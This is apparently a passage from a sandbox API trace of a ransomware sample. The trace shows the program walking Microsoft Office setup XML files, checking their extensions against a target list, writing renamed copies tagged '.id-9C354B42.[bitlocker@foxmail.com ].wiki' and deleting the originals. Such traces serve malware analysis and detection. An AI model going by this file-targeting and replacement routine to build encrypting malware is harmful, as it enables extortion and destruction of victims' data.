Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.051] lstrlenW (lpString=".zip") returned 4 [0048.051] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.051] lstrlenW (lpString=".rar") returned 4 [0048.051] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.051] lstrlenW (lpString=".bz2") returned 4 [0048.051] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.051] lstrlenW (lpString=".7z") returned 3 [0048.051] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.051] lstrlenW (lpString=".dbf") returned 4 [0048.051] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.051] lstrlenW (lpString=".1cd") returned 4 [0048.051] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0048.051] lstrlenW (lpString=".jpg") returned 4 [0048.051] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.051] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.051] lstrlenW (lpString="Office32MUI.XML") returned 15 [0048.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.052] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1383) returned 1 [0048.052] CloseHandle (hObject=0x1dc) returned 1 [0048.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0048.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.053] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.053] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.054] GetLastError () returned 0x0 [0048.054] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x567, lpOverlapped=0x0) returned 1 [0048.056] WriteFile (in: hFile=0x1f8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x570, lpOverlapped=0x0) returned 1 [0048.057] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.057] WriteFile (in: hFile=0x1f8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0048.057] SetEndOfFile (hFile=0x1f8) returned 1 [0048.057] CloseHandle (hObject=0x1f8) returned 1 [0048.058] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.058] SetEndOfFile (hFile=0x1dc) returned 1 [0048.059] CloseHandle (hObject=0x1dc) returned 1 [0048.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.059] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0048.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.059] lstrlenW (lpString=".doc") returned 4 [0048.059] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.059] lstrlenW (lpString=".docx") returned 5 [0048.059] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.059] lstrlenW (lpString=".pdf") returned 4 [0048.059] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.059] lstrlenW (lpString=".xls") returned 4 [0048.059] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString=".xlsx") returned 5 [0048.060] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.060] lstrlenW (lpString=".ppt") returned 4 [0048.060] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.060] lstrlenW (lpString=".zip") returned 4 [0048.060] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.060] lstrlenW (lpString=".rar") returned 4 [0048.060] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString=".bz2") returned 4 [0048.060] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString=".7z") returned 3 [0048.060] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.060] lstrlenW (lpString=".dbf") returned 4 [0048.060] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.060] lstrlenW (lpString=".1cd") returned 4 [0048.060] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.060] lstrlenW (lpString=".jpg") returned 4 [0048.060] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.060] lstrlenW (lpString=".doc") returned 4 [0048.060] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString=".docx") returned 5 [0048.060] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.060] lstrlenW (lpString=".pdf") returned 4 [0048.060] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.060] lstrlenW (lpString=".xls") returned 4 [0048.060] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.061] lstrlenW (lpString=".xlsx") returned 5 [0048.061] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.061] lstrlenW (lpString=".ppt") returned 4 [0048.061] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.061] lstrlenW (lpString=".zip") returned 4 [0048.061] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.061] lstrlenW (lpString=".rar") returned 4 [0048.061] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.061] lstrlenW (lpString=".bz2") returned 4 [0048.061] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.061] lstrlenW (lpString=".7z") returned 3 [0048.061] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.061] lstrlenW (lpString=".dbf") returned 4 [0048.061] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.061] lstrlenW (lpString=".1cd") returned 4 [0048.061] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0048.061] lstrlenW (lpString=".jpg") returned 4 [0048.061] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.061] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.061] lstrlenW (lpString="SETUP.XML") returned 9 [0048.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.062] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2362) returned 1 [0048.062] CloseHandle (hObject=0x1dc) returned 1 [0048.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0048.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.062] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.062] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.062] GetLastError () returned 0x0 [0048.062] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x93a, lpOverlapped=0x0) returned 1 [0048.447] WriteFile (in: hFile=0x1f8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x940, lpOverlapped=0x0) returned 1 [0048.448] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.448] WriteFile (in: hFile=0x1f8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.448] SetEndOfFile (hFile=0x1f8) returned 1 [0048.448] CloseHandle (hObject=0x1f8) returned 1 [0048.449] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.449] SetEndOfFile (hFile=0x1dc) returned 1 [0048.449] CloseHandle (hObject=0x1dc) returned 1 [0048.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.450] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0048.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.450] lstrlenW (lpString=".doc") returned 4 [0048.450] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.450] lstrlenW (lpString=".docx") returned 5 [0048.450] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.450] lstrlenW (lpString=".pdf") returned 4 [0048.450] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.450] lstrlenW (lpString=".xls") returned 4 [0048.450] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.450] lstrlenW (lpString=".xlsx") returned 5 [0048.450] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.450] lstrlenW (lpString=".ppt") returned 4 [0048.450] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.450] lstrlenW (lpString=".zip") returned 4 [0048.450] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.450] lstrlenW (lpString=".rar") returned 4 [0048.450] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.450] lstrlenW (lpString=".bz2") returned 4 [0048.450] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.450] lstrlenW (lpString=".7z") returned 3 [0048.451] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString=".dbf") returned 4 [0048.451] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString=".1cd") returned 4 [0048.451] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString=".jpg") returned 4 [0048.451] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString=".doc") returned 4 [0048.451] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString=".docx") returned 5 [0048.451] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0048.451] lstrlenW (lpString=".pdf") returned 4 [0048.451] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString=".xls") returned 4 [0048.451] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString=".xlsx") returned 5 [0048.451] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0048.451] lstrlenW (lpString=".ppt") returned 4 [0048.451] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString=".zip") returned 4 [0048.451] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.451] lstrlenW (lpString=".rar") returned 4 [0048.451] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString=".bz2") returned 4 [0048.451] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.451] lstrlenW (lpString=".7z") returned 3 [0048.451] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.451] lstrlenW (lpString=".dbf") returned 4 [0048.451] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.452] lstrlenW (lpString=".1cd") returned 4 [0048.452] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0048.452] lstrlenW (lpString=".jpg") returned 4 [0048.452] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.452] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.452] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0048.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.452] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1450) returned 1 [0048.452] CloseHandle (hObject=0x1dc) returned 1 [0048.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0048.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.453] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.453] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.996] GetLastError () returned 0x0 [0048.996] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0049.046] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0049.046] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.047] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0049.047] SetEndOfFile (hFile=0x1e8) returned 1 [0049.047] CloseHandle (hObject=0x1e8) returned 1 [0049.048] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.048] SetEndOfFile (hFile=0x1dc) returned 1 [0049.048] CloseHandle (hObject=0x1dc) returned 1 [0049.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.049] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0049.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.049] lstrlenW (lpString=".doc") returned 4 [0049.049] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.049] lstrlenW (lpString=".docx") returned 5 [0049.049] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.049] lstrlenW (lpString=".pdf") returned 4 [0049.049] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.049] lstrlenW (lpString=".xls") returned 4 [0049.049] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.049] lstrlenW (lpString=".xlsx") returned 5 [0049.049] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.049] lstrlenW (lpString=".ppt") returned 4 [0049.049] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.049] lstrlenW (lpString=".zip") returned 4 [0049.049] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.049] lstrlenW (lpString=".rar") returned 4 [0049.049] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.049] lstrlenW (lpString=".bz2") returned 4 [0049.049] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.049] lstrlenW (lpString=".7z") returned 3 [0049.050] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.050] lstrlenW (lpString=".dbf") returned 4 [0049.050] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 